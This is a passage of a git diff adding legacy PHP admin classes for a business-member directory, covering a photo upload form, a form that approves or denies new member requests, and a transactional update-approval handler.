+ * @version   CVS: $Id: AddPhoto.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ * @see       Toolkit/Image/Server.php
+ */
+
+
+/**
+ * The image server processing class
+ */
+require_once BASE . 'Toolkit/Image/Server.php';
+
+/**
+ * Form to handle creating a new photo in the members only area
+ * 
+ * Handles inserting new photo into db as a pending photo and creating a
+ * tuple in the member_updates table which will allow the admin to
+ * approve/deny the new photo request.
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_Admin_AddPhoto extends Toolkit_FormBuilder
+{
+       //      {{{ properties
+
+       /**
+        * The table name in the database used to store the data
+        *
+        * @var string
+        * @access public
+        */
+       public $tableName = 'member_photos';
+
+       /**
+        * The template used to render the form
+        *
+        * @var string
+        * @access protected
+        */
+       protected $formTemplate = 'addPhoto.tpl';
+
+    /**
+     * Success message when a photo gets successfully uploaded
+     * @var string
+     * @access protected
+     */
+    protected $successMsg = '
+        <div id="form-success-top">
+            You successfully uploaded your photo.
+        </div>';
+
+    /**
+     * Description for protected
+     * @var array    
+     * @access protected
+     */
+       protected $registeredRules = array();
+
+       //      }}}
+       //      {{{ __construct()
+
+       /**
+        * Class constructor
+        *
+        * @param PDO    $pdo         PHP Data Object to use for DB calls
+        * @param string $formName    Form's name.
+        * @param string $method      (optional) Form's method defaults to 'POST'
+        * @param string $action      (optional) Form's action.
+        * @param string $target      (optional) Form's target defaults to '_self'
+        * @param mixed  $attributes  (optional) Extra attributes for <form> tag.
+        * @param bool   $trackSubmit (optional) Whether to track if the form was
+        *                                                                               submitted by adding a special hidden
+        *                                                                               field.
+        *
+        * @access public
+        * @see    Toolkit_Members_Admin_EditPhotos
+        */
+       public function __construct(
+        $pdo,
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+        $this->dbh = $pdo;
+       }
+
+       //      }}}
+
+       //      {{{ configureElements()
+
+       /**
+        * Setup the elements to use on the form.
+        *
+     * @param Config_Container $c application configuration
+     *
+        * @return void
+        * @access public
+        */
+       public function configureElements(Config_Container $c)
+       {
+               $e = array();
+
+        $config =& $c->getItem('section', 'photos');
+        $maxLength =& $config->getItem('directive', 'maxCaptionLength');
+               //      All Grouped Elements are created here.
+
+               //      All Elements are created here.  This includes group element definitions.
+               $e[] = array(
+                       'type' => 'file',
+                       'req'  => true,
+                       'name' => 'file',
+            'display' => 'Upload a Photo',
+                       'opts' => array('class' => 'submit')
+               );
+               $e[] = array(
+                       'type' => 'text',
+                       'req'  => false,
+                       'name' => 'caption',
+            'display' => 'Caption',
+                       'opts' => array(
+                               'class' => 'text',
+                               'maxlength' => $maxLength->getContent(),
+                       ),
+            'noCharLimit' => true
+               );
+               $e[] = array(
+                       'type'    => 'submit',
+                       'req'     => false,
+                       'name'    => 'submit',
+                       'display' => 'Upload new photo',
+                       'opts'    => array('class' => 'submit')
+               );
+
+               $this->setupElements($e);
+       }
+
+       //      }}}
+    //  {{{ configureForm()
+
+    /**
+        * helper function to set up entire form definition
+        *
+     * @param Config_Container $c application configuration
+        *
+        * @return void
+        * @access public
+     */
+    public function configureForm(Config_Container $c)
+    {
+        $this->configureElements($c);
+               $this->configureRules($c);
+    }
+
+    //  }}}
+       //      {{{ configureRules()
+
+    /**
+     * Configure rules for form
+        *
+     * @param Config_Container $c application configuration
+     * 
+     * @return void     
+     * @access public
+     */
+       public function configureRules(Config_Container $c)
+       {
+        $config =& $c->getItem('section', 'photos');
+        $maxLength =& $config->getItem('directive', 'maxCaptionLength');
+
+               $mimeTypes = array(
+                       'image/jpe',
+                       'image/jpeg',
+                       'image/jpg',
+                       'image/jfif',
+                       'image/pjpeg',
+                       'image/pjp',
+                       'image/gif',
+                       'image/png',
+               );
+
+               $r = array();
+
+               $r[] = array(
+                       'element'    => 'file',
+                       'message'    => 'ERROR: You must select a file!',
+                       'type'       => 'uploadedfile',
+                       'format'     => null,
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+               $r[] = array(
+                       'element'    => 'caption',
+                               
+                       'message'    => "ERROR: {$maxLength->getContent()} characters max!",
+                       'type'       => 'maxlength',
+                       'format'     => $maxLength->getContent(),
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+               $r[] = array(
+                       'element'    => 'file',
+                       'message'    => 'ERROR: Incorrect File Type (.gif, .png, .jpg) only!',
+                       'type'       => 'mimetype',
+                       'format'     => $mimeTypes,
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+
+               $this->setupRules($r);
+       }
+
+       //      }}}
+
+       //      {{{ processData()
+
+       /**
+        * Handles setting up the from processing and which function to get it done
+        *
+        * @param array $values Submitted values from the form.
+        *
+        * @return void
+        * @access protected
+        */
+       protected function processData($values)
+       {
+               try {
+            $sql = Toolkit_Common::createSQLInsert(
+                $this->tableName,
+                array_keys($values)
+            );
+
+            $res = Toolkit_Common::processQuery($this->dbh, $sql, $values);
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+
+        header('Location:' . $this->getAttribute('action'));
+       }
+
+       //      }}}
+
+       //      {{{ setupRenderers()
+
+    /**
+     * Set up the rendering engine we are going to use to display this form
+     * 
+     * @param HTML_Template_Flexy &$tEngine Templating Engine
+     *
+     * @return void     
+     * @access protected
+     */
+       protected function setupRenderers(HTML_Template_Flexy &$tEngine)
+       {
+               $renderer =& new HTML_QuickForm_Renderer_ObjectFlexy($tEngine);
+
+               $this->accept($renderer);
+               $this->view       = new stdClass();
+               $this->view->form = $renderer->toObject();
+               $tEngine->compile($this->formTemplate);
+       }
+
+       //      }}}
+
+       //      {{{ toHtml()
+
+       /**
+        * Renders the form
+        *
+        * sets the page the form should be redirected to instead of coming back
+        * around to itself.
+     *
+     * @param HTML_Template_Flexy    $tEngine Templating Engine
+     * @param Cache_Lite             $cache   Caching Engine
+     * @param Config_Container       $c       Application configuration
+     * @param Toolkit_Image_Server   $is      Image Server
+     * @param Toolkit_Members_Photos $ll      Linked List of member photos
+        *
+        * @return string The rendered form
+        * @access public
+        */
+       public function toHtml(
+        HTML_Template_Flexy $tEngine,
+        Cache_Lite $cache,
+        Config_Container $c,
+        Toolkit_Image_Server $is,
+        Toolkit_Members_Photos $ll
+    ) {
+               if ($this->validate()) {
+            $cache->remove("Member-{$_GET['id']}", 'Profile');
+
+            //  Put the processed photo's new name into the submitted values
+            $this->_submitValues['image'] = $is->imageUpload('file');
+            $this->_submitValues['pos'] = $ll->getListSize() + 1;
+            $this->_submitValues['member_id'] = $_GET['id'];
+            $this->_submitValues['pending'] = 0;
+
+            unset($this->_submitValues['MAX_FILE_SIZE'],
+                  $this->_submitValues['submit']);
+
+                       $this->process(array(&$this, 'processData'), false);
+               }
+
+               $this->setupRenderers($tEngine);
+
+               return $tEngine->bufferedOutputObject($this->view);
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/Admin/AuthorizeNewMemberForm.php b/Toolkit/Members/Admin/AuthorizeNewMemberForm.php
new file mode 100755 (executable)
index 0000000..7a464db
--- /dev/null
@@ -0,0 +1,572 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * AddYourBusiness.php
+ *
+ * PHP version 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: AuthorizeNewMemberForm.php,v 1.2 2009/12/15 20:18:15 jamie Exp $
+ * @link      http://demo.gaslightmedia.com
+ */ 
+
+require_once 'FormBuilder.php';
+
+/**
+ * Description for require_once
+ */
+require_once 'HTML/Template/Flexy.php';
+
+/**
+ * Description for require_once
+ */
+require_once 'Mail/mime.php';
+
+/**
+ * Description for require_once
+ */
+require_once 'Mail.php';
+
+/**
+ * Creates, Renders, Processes form for request to be added to Business DB
+ * 
+ * This Form just sends the primary advisee an HTML email of the data
+ * that was filled in and requires them to add the users to the Business DB
+ * themselves.
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_Admin_AuthorizeNewMemberForm extends Toolkit_FormBuilder
+{
+       //      {{{ properties
+
+       /**
+        * PDO connections
+        *
+        * @var string
+        * @access public
+        */
+       public $dbh;
+
+       /**
+        * The name of the DB table that holds the member records
+        *
+        * @var array
+        * @access protected
+        */
+       public $tableName = 'member';
+
+       /**
+        * States array for select list
+        *
+        * @var array
+        * @access protected
+        */
+       protected $states;
+
+       /**
+        * What do you want the success msg to be if the form validates successfully
+        *
+        * @var         string
+        * @access      protected
+        */
+       protected $successMsg = '<div id="form-success-top"></div>';
+
+       /**
+        * Primary email address to send notification a record has been updated
+        *
+        * Set this value to false and it will turn off the email
+        * update notifications.
+        *
+        * @var string
+        * @access protected
+        */
+       protected $primaryAdvisee = 'jamie@gaslightmedia.com';
+
+       /**
+        * Flexy options used in the renderer
+        *
+        * @var array
+        * @access protected
+        */
+       protected $flexyOptions;
+
+       /**
+        * The name of the template used to email the owner for any updates
+        *
+        * When a member makes an update to thier record, this is the template
+        * we will use to send out the email notification to the site owner.
+        *
+        * @var string
+        * @access protected
+        */
+       protected $emailTemplate = 'addYourBusinessEmailOwner.tpl';
+
+       /**
+        * The flexy template object which holds the rendered object
+        *
+        * @var object
+        * @access protected
+        */
+       protected $template;
+
+       //      }}}
+
+       //      {{{ __construct()
+
+       /**
+        * Constructor
+        *
+        * @param string $formName    Form's name.
+        * @param string $method      (optional) Form's method defaults to 'POST'
+        * @param string $action      (optional) Form's action.
+        * @param string $target      (optional) Form's target defaults to '_self'
+        * @param mixed  $attributes  (optional) Extra attributes for <form> tag.
+        * @param bool   $trackSubmit (optional) Whether to track if the form was
+        *                                                                               submitted by adding a special hidden
+        *                                                                               field.
+        *
+        * @access public
+        * @see    Toolkit_FormBuilder, HTML_QuickForm
+        */
+       public function __construct(
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+               $this->template        = dirname(__FILE__) . '/../templates/currentTables/';
+               $this->states          = $states_US;
+               $this->registeredRules = array('zip', 'phone', 'memberlogo');
+
+               $this->dbh = Toolkit_Database::getInstance();
+
+               /**
+                * Where are the flexy templates stored at for this class.
+                */
+               define('TEMPLATES_DIR', BASE . 'Toolkit/Members/templates');
+
+               /**
+                * Where are the compiled flexy templates stored at for this class.
+                */
+               define('COMPILED_DIR', BASE . 'Toolkit/Members/templates/compiled');
+
+               $oldUmask = umask(0);
+               if (!is_dir(TEMPLATES_DIR)) {
+                       mkdir(TEMPLATES_DIR, 0770, true);
+               }
+               if (!is_dir(COMPILED_DIR)) {
+                       mkdir(COMPILED_DIR, 0770, true);
+               }
+               umask($oldUmask);
+
+               $this->flexyOptions                = $GLOBALS['flexyOptions'];
+               $this->flexyOptions['templateDir'] = TEMPLATES_DIR;
+               $this->flexyOptions['compileDir']  = COMPILED_DIR;
+
+               $this->configureElements();
+               $this->configureRules();
+               $this->configureFilters();
+               $this->configureDefaults();
+               $this->configureConstants();
+       }
+
+       //      }}}
+
+       //      {{{     approveMember()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return mixed     Return description (if any) ...
+     * @access protected
+     */
+       protected function approveMember()
+       {
+               try {
+                       $sql = "
+                UPDATE {$this->tableName}
+                   SET new_member = false
+                 WHERE member_id  = ?";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       return $stmt->execute(array($_GET['id']));
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     denyMember()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return mixed     Return description (if any) ...
+     * @access protected
+     */
+       protected function denyMember()
+       {
+               try {
+                       $sql = "
+                DELETE FROM {$this->tableName}
+                 WHERE member_id  = ?";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       return $stmt->execute(array($_GET['id']));
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{ configureConstants()
+
+       /**
+        * Sets the constants for the form
+        *
+        * @return void
+        * @access protected
+        */
+       protected function configureConstants()
+       {
+               $c = array(
+                       'new_member' => 0,
+               );
+
+               $this->setupConstants($c);
+       }
+
+       //      }}}
+       //      {{{ configureDefaults()
+
+       /**
+        * Sets the defaults for the form
+        *
+        * @return array $defaults Returns the array of defaults
+        *                                                 so children who call this function
+        *                                                 can obtain a copy of these values.
+        * @access protected
+        * @see    Toolkit_FormBuilder::setupDefaults()
+        */
+       protected function configureDefaults()
+       {
+               $defaults = array();
+
+               try {
+                       if (is_numeric($_GET['id'])) {
+                               $sql = "
+                    SELECT m.*, c.name AS category
+                      FROM {$this->tableName} m
+                                                  JOIN member_category mc USING (member_id)
+                                                  JOIN category c USING (category_id)
+                     WHERE m.member_id  = :mid
+                       AND m.new_member = true";
+
+                               $stmt = $this->dbh->prepare($sql);
+                               $stmt->bindParam(':mid', $_GET['id'], PDO::PARAM_INT);
+                               $stmt->execute();
+                if ($row = $stmt->fetch()) {
+                    foreach ($row as $i => $j) {
+                        $defaults[$i] = $j;
+                    }
+                }
+
+                       }
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+
+               $this->setupDefaults($defaults);
+               return $defaults;
+       }
+
+       //      }}}
+       //      {{{ configureElements()
+
+       /**
+        * Setup the elements to use on the form.
+        *
+        * @return void
+        * @access protected
+        * @see    Toolkit_FormBuilder::setupElements()
+        */
+       protected function configureElements()
+       {
+               $e = array();
+               //      All Grouped Elements are created here.
+
+               //      All Elements are created here.  This includes group element definitions.
+               $submitBtns[] = array(
+                       'type'    => 'submit',
+                       'req'     => false,
+                       'name'    => 'approve',
+                       'display' => 'Approve',
+                       'opts'    => array('id' => 'approve')
+               );
+               $submitBtns[] = array(
+                       'type'    => 'submit',
+                       'req'     => false,
+                       'name'    => 'deny',
+                       'display' => 'Deny',
+                       'opts'    => array('id' => 'deny')
+               );
+
+               //      Member Information
+               $e[] = array(
+                       'type' => 'hidden',
+                       'req'  => false,
+                       'name' => 'new_member'
+               );
+               $e[] = array(
+                       'type'    => 'header',
+                       'req'     => false,
+                       'name'    => 'newMemberHdr',
+                       'display' => 'New ' . Toolkit_Members_Admin_Controller::$listingType['singular'] . ' Request Information'
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'member_name',
+                       'display' => Toolkit_Members_Admin_Controller::$listingType['singular'] . ' Name'
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'primary_contact',
+                       'display' => 'Primary Contact'
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'member_contact_email',
+                       'display' => 'Email'
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'phone',
+                       'display' => 'Phone'
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'category',
+                       'display' => 'Category'
+               );
+               $e[] = array(
+                       'type'       => 'group',
+                       'req'        => false,
+                       'name'       => 'decision',
+                       'group'      => $submitBtns,
+                       'seperator'  => '',
+                       'appendName' => false
+               );
+
+               $this->setupElements($e);
+       }
+
+       //      }}}
+       //      {{{ configureFilters()
+
+       /**
+        * Setup the filters to apply to the elements before we are
+        * handed the values submitted
+        *
+        * @return void
+        * @access protected
+        */
+       protected function configureFilters()
+       {
+               $f   = array();
+               $f[] = array(
+                       'element' => '__ALL__',
+                       'filter'  => 'trim'
+               );
+
+               $this->setupFilters($f);
+       }
+
+       //      }}}
+       //      {{{ configureRules()
+
+       /**
+        * Sets up all the rules to be used when the form is validated.
+        *
+        * @return void
+        * @access Protected
+        */
+       protected function configureRules()
+       {
+               $this->setupRules($rules);
+       }
+
+       //      }}}
+       //      {{{     emailMember()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $status Parameter description (if any) ...
+     * @param boolean $test   Parameter description (if any) ...
+     *
+     * @return unknown Return description (if any) ...
+     * @access public 
+     */
+       public function emailMember($status, $test = false)
+       {
+               $template = new HTML_Template_Flexy($this->flexyOptions);
+               $page     = new stdClass();
+
+               $data = $this->configureDefaults();
+               $page->base_url = ($_SERVER['HTTPS'] == 'on') ? BASE_SECURE_URL :
+                                                                                                               BASE_URL;
+               $page->client_name     = SITENAME;
+               $page->member_login    = $data['member_login'];
+               $page->member_passwd   = $data['member_passwd'];
+               $page->first_name      = strtok($data['primary_contact'], ' ');
+               $page->member_category = MEMBERS_CATEGORY;
+
+               $tpl = $status ? 'newMemberApproval.tpl' : 'newMemberDenial.tpl';
+               $template->compile($tpl);
+               //      Merge the compiled template with the $page object.
+               $htmlMsg = $template->bufferedOutputObject($page);
+
+               $crlf     = "\n";
+               $mimeMail = new Mail_mime($crlf);
+               $mimeMail->setFrom(SITENAME . ' <' . OWNER_EMAIL . '>');
+               $mimeMail->setSubject('New ' . Toolkit_Members_Admin_Controller::$listingType['singular'] . ' Request');
+               $mimeMail->setHTMLBody($htmlMsg);
+               $mimeMail->setTXTBody($msg);
+
+               $interface = $test ? 'mock' : 'mail';
+               $mail      =& Mail::factory($interface);
+               $body      = $mimeMail->get();
+               $headers   = $mimeMail->headers($hdrs);
+               
+               try {
+                       $sql = "
+                               SELECT member_contact_email
+                                 FROM {$this->tableName}
+                                WHERE member_id = ?";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->execute(array($_GET['id']));
+                       $stmt->bindColumn('member_contact_email', $email);
+                       $stmt->fetch();
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+
+               $res = $mail->send($email, $headers, $body);
+
+               return PEAR::isError($res) ? Toolkit_Common::handleError($res) : $res;
+       }
+
+       //      }}}
+
+       //      {{{     processData()
+
+    /**
+     * Handles how to process the form when submitted
+     * 
+     * @param array $values Form submitted values
+        *
+     * @return array Result of Insert / Update function
+     * @access protected
+     */
+       public function processData($values)
+       {
+               if (array_key_exists('deny', $values)) {
+                       $this->emailMember(false);
+                       return $this->denyMember();
+               } elseif (array_key_exists('approve', $values)) {
+                       $this->emailMember(true);
+                       return $this->approveMember();
+               }
+       }
+
+       //      }}}
+
+       //      {{{     setupRenderers()
+
+    /**
+        * Setup how the form should render
+        *
+        * We also need to attach a couple specific rendering templates to
+        * a few special elements.
+        *
+     * @return void     
+     * @access protected
+        * @see    Toolkit_FormBuilder::setupRenderers()
+     */
+       protected function setupRenderers()
+       {
+               parent::setupRenderers();
+               $renderer =& $this->defaultRenderer();
+               $required = '<!-- BEGIN required --><span class="req">*</span><!-- END required -->';
+               $error    = '<!-- BEGIN error --><div class="req">{error}</div><!-- END error -->';
+
+               $renderer->setElementTemplate('<tr align="center"><td colspan="2">{element}</td></tr>', 'decision');
+       }
+
+       //      }}}
+
+       //      {{{     toHTML()
+
+       /**
+        * Call the rendering function to get the form in a string
+        *
+        * @access protected
+        * @return string $output The Form to be rendered or success msg.
+        */
+       public function toHTML()
+       {
+               $this->setupRenderers();
+               $this->freeze();
+               if ($this->validate()) {
+                       $this->cleanForm();
+                       if ($this->process(array(&$this, 'processData'), $this->mergeFiles)) {
+                               header('Location: ' . BASE_URL . 'admin/members.php?cat=2&subCat=4');
+                       }
+               } else if ($this->isSubmitted()) {
+                       $output  = $this->errorMsg;
+                       $output .= parent::toHTML();
+               } else {
+                       $output = parent::toHTML();
+               }
+               return $output;
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/Admin/AuthorizeUpdates.php b/Toolkit/Members/Admin/AuthorizeUpdates.php
new file mode 100755 (executable)
index 0000000..9fd3e0f
--- /dev/null
@@ -0,0 +1,1681 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * File Doc Comment
+ *
+ * PHP version 5
+ *
+ * @category MembersDB
+ * @package  Toolkit_Members
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @version  CVS: $Id: AuthorizeUpdates.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link        http://demo.gaslightmedia.com
+ */
+
+/**
+ * Handle processing all the update requests from members
+ *
+ * @category  MembersDB
+ * @package      Toolkit_Members
+ * @author       Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Gaslight media
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link         http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_Admin_AuthorizeUpdates extends Toolkit_FormBuilder
+{
+       //      {{{ properties
+
+    /**
+     * The member we are going to process updates for
+     *
+     * @var integer
+     * @access private
+     */
+    private $_mid;
+
+       /**
+        * The Table name used to store the data of the member record in the database.
+        *
+        * @var string
+        * @access public
+        */
+       public $tableName = 'member_updates';
+
+       /**
+        * Array of data that holds the meta data info on the table
+        *
+        * Contains information on the type of fields in the database.
+        * That way when we run our automated SQL queries with our PDO
+        * we can properly bind data to our SQL queries.  This will
+        * allow for one more layer of protection against any sql
+        * injection attempts.
+        *
+        * @var string
+        * @access public
+        * @see Toolkit_Common::processData()
+        */
+       public $tableMetaData;
+
+       /**
+        * The name of the template used to render the business info form.
+        *
+        * @var string
+        * @access protected 
+        */
+       protected $formTemplate = 'authorizeChanges.tpl';
+
+       /**
+        * Form access from inside the template
+        *
+        * @var object
+        * @access protected
+        */
+       protected $view;
+
+       //      }}}
+       //      {{{ __construct()
+
+       /**
+        * Constructor
+        *
+     * @param PDO    $pdo         PHP Data Object to use for DB calls
+     * @param string $formName    Form's name.
+     * @param string $method      (optional)Form's method defaults to 'POST'
+     * @param string $action      (optional)Form's action
+     * @param string $target      (optional)Form's target defaults to '_self'
+     * @param mixed  $attributes  (optional)Extra attributes for <form> tag
+     * @param bool   $trackSubmit (optional)Whether to track if the form was submitted by adding a special hidden field
+        * 
+        * @access public
+        */
+       public function __construct(
+        PDO $pdo,
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+
+        $this->dbh = $pdo;
+
+               $this->flexyOptions = Toolkit_Members::getFlexyOptions();
+       }
+
+       //      }}}
+
+       //      {{{     commitUpdates
+
+    /**
+     * Commit the updates requested by the member
+     * 
+     * @param string $table   The table to commit any updates for
+     * @param array  $fields  The fields to update
+     * @param array  $updates The updates
+        *
+     * @return boolean true on success, false on error
+     * @access protected
+     */
+       protected function commitUpdates($table, array $fields, array $updates)
+       {
+               foreach ($fields as $k => &$v) {
+                       $orig          = $v;
+                       list ($id, $v) = explode('_', $v, 2);
+                       if (array_key_exists("{$orig}_update", $updates)) {
+                               $updates["{$v}_update"] = $updates["{$orig}_update"];
+                               unset($updates["{$orig}_update"]);
+                       }
+               }
+               try {
+                       $this->dbh->beginTransaction();
+                       //      This will be the query we will use at the end to update the
+                       //      members record.
+                       $sql        = $this->getUpdateQuery($table, $fields);
+
+                       //      hack to fix states trying to update w/ the 
+                       //      text ie (North Carolina - go heels!) vs. field id.
+                       unset($updates['state_id_update']);
+                       $updateStmt = $this->dbh->prepare($sql);
+                       $updateStmt->bindParam(':member_id', $this->_mid, PDO::PARAM_INT);
+
+                       //      This will be the query we will use to remove the updates
+                       //      from the update table.  By removing the field from the updates
+                       //      table it takes that field out of a "pending" state, by removing all
+                       //      of the fields for a member out of the updates table it removes
+                       //      that member from being in a "pending" state.
+                       $sql = "
+                               DELETE FROM {$this->tableName}
+                                WHERE field        = :field
+                                  AND member_id    = :member_id";
+
+                       $deleteStmt = $this->dbh->prepare($sql);
+                       $deleteStmt->bindParam(':member_id', $this->_mid, PDO::PARAM_INT);
+
+                       //      This will be the query we will use to get the updated fields
+                       //      information.
+                       $sql =  "
+                               SELECT *
+                                 FROM {$this->tableName}
+                                WHERE id in (
+                                               SELECT max(id)
+                                                 FROM {$this->tableName}
+                                                WHERE member_id     = :member_id
+                                                  AND field   = :field)";
+
+                       $fetchStmt = $this->dbh->prepare($sql);
+                       $fetchStmt->bindParam(':member_id', $this->_mid, PDO::PARAM_INT);
+                       foreach ($fields as $k => &$f) {
+                               unset($v);
+                               //      Get the newest row for this field for this member.
+                               $fetchStmt->bindParam(':field', $f, PDO::PARAM_STR);
+                               $fetchStmt->execute();
+                               $row = $fetchStmt->fetch(PDO::FETCH_ASSOC);
+
+                               //      Get the update to apply.
+                               if (array_key_exists("{$f}_update", $updates)) {
+                                       $v = $updates["{$f}_update"];
+                               } else {
+                                       $v = $row['update'];
+                               }
+
+                               //      Get the dataType for the PDO Statement.
+                               $metaData = $row['data_type'];
+                               if ($metaData == 'integer') {
+                                       $dataType = PDO::PARAM_INT;
+                               } else if ($metaData == 'boolean') {
+                                       $dataType = PDO::PARAM_BOOL;
+                               } else {
+                                       $dataType = PDO::PARAM_STR;
+                               }
+                               //      for empty values that are not actually a zero (0), we
+                               //      want to insert null's.
+                               //      This will help hold the unique values for member_logins,
+                               //      as empty values '', are not considered unique
+                               if (empty($v) && $v !== 0) {
+                                       $v        = null;
+                                       $dataType = PDO::PARAM_NULL;
+                               }
+                               //      Bind the update for later execution.
+                               $updateStmt->bindParam(":$f", $v, $dataType);
+
+                               //      Remove this field from the updates
+                               $deleteStmt->bindParam(':field', $f, PDO::PARAM_STR);
+                               $deleteStmt->execute();
+                       }
+                       $updateStmt->execute();
+                       return $this->dbh->commit();
+               } catch (PDOException $e) {
+                       $this->dbh->rollback();
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{ configureDefaults()
+
+       /**
+        * Sets the defaults for the an existing member
+        *
+        * Populates data for the main member form.  Also grabs
+        * data to populate the modules on the form if needed.
+        *
+        * @return array $defaults Returns the array of defaults
+        *                                                 so children who call this function
+        *                                                 can obtain a copy of these values.
+        * @access public
+        */
+       public function configureDefaults()
+       {
+               $updatedFieldValues  = $this->getUpdatedFieldValues();
+               $originalFieldValues = $this->getOriginalFieldValues();
+
+               if (is_array($updatedFieldValues)) {
+                       $defaults = $updatedFieldValues;
+               }
+
+               if (is_array($originalFieldValues)) {
+                       if (is_array($defaults)) {
+                               $defaults += $originalFieldValues;
+                       } else {
+                               $defaults = $originalFieldValues;
+                       }
+               }
+
+               $this->setupDefaults($defaults);
+               return $defaults;
+       }
+
+       //      }}}
+       //      {{{ configureElements()
+
+       /**
+        * Setup the elements to use on the form.
+        *
+        * Categories are populated into the protected class property $categories.
+        * These categories are used to populate the select list of categories.
+        * Modules are configured before any elements are setup, that way we will
+        * know if we need to include them in the rendering of the form.
+        *
+        * @return void
+        * @access public
+        */
+       public function configureElements()
+       {
+               //      Get the newest updates in the update table for this member
+               //      for each field that was updated.
+               try {
+                       $sql = "
+                SELECT *
+                  FROM {$this->tableName}
+                 WHERE id IN (
+                                               SELECT max(id)
+                                                 FROM {$this->tableName}
+                                                WHERE member_id     = :member_id
+                                                GROUP BY field, foreign_key)
+                 ORDER BY db_table, foreign_key, id";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':member_id', $this->_mid, PDO::PARAM_INT);
+                       $stmt->execute();
+                       while ($row = $stmt->fetch()) {
+                               //      If we are dealing w/ a credit card, this
+                               //      will extract the name of the card.
+                               //      Otherwise, it will leave the value unchanged.
+                               $pattern      = '/creditCards\[(.+)\]/';
+                               $replacement  = '$1';
+                               $row['field'] = preg_replace($pattern, $replacement, $row['field']);
+                               $updates[]    = $row;
+                               switch ($row['field_type']) {
+                               case 'select' :
+                               case 'checkbox' :
+                                       $elementsToFreeze[$row['id']] = $row['field'];
+                                       break;
+
+                               default :
+                                       break;
+                               }
+                       }
+               } catch (PDOException $e) {
+                       Toolkit_Common::handleError($e);
+               }
+
+               if (is_array($updates)) {
+                       //      We're going to need to alter how some of the fields
+                       //      are displayed on the page.  This is where we set them up.
+                       foreach ($updates as $u) {
+                               unset($type, $opts);
+                               //      Determine which fields should be a text field so
+                               //      the admin can update them w/ thier own text.
+                               switch ($u['data_type']) {
+                               case 'text' :
+                               case 'integer' :
+                                       $textField = true;
+                                       break;
+
+                               default :
+                                       $textField = false;
+                                       break;
+                               }
+                               if ($textField) {
+                                       switch ($u['label']) {
+                                       case 'Description' :
+                                       case 'Special Package Description' :
+                                       case 'Golf Package Description' :
+                                               $type = 'textarea';
+                                               $opts = array(
+                                                       'id' => 'd' . microtime(),
+                                                       'rows' => 8,
+                                                       'cols' => 43,
+                                               );
+                                               break;
+
+                                       default :
+                                               $type = 'text';
+                                               $opts = array('class' => 'text');
+                                               break;
+                                       }
+                               }
+                               //      If we are dealing w/ the fields for the restaurant module
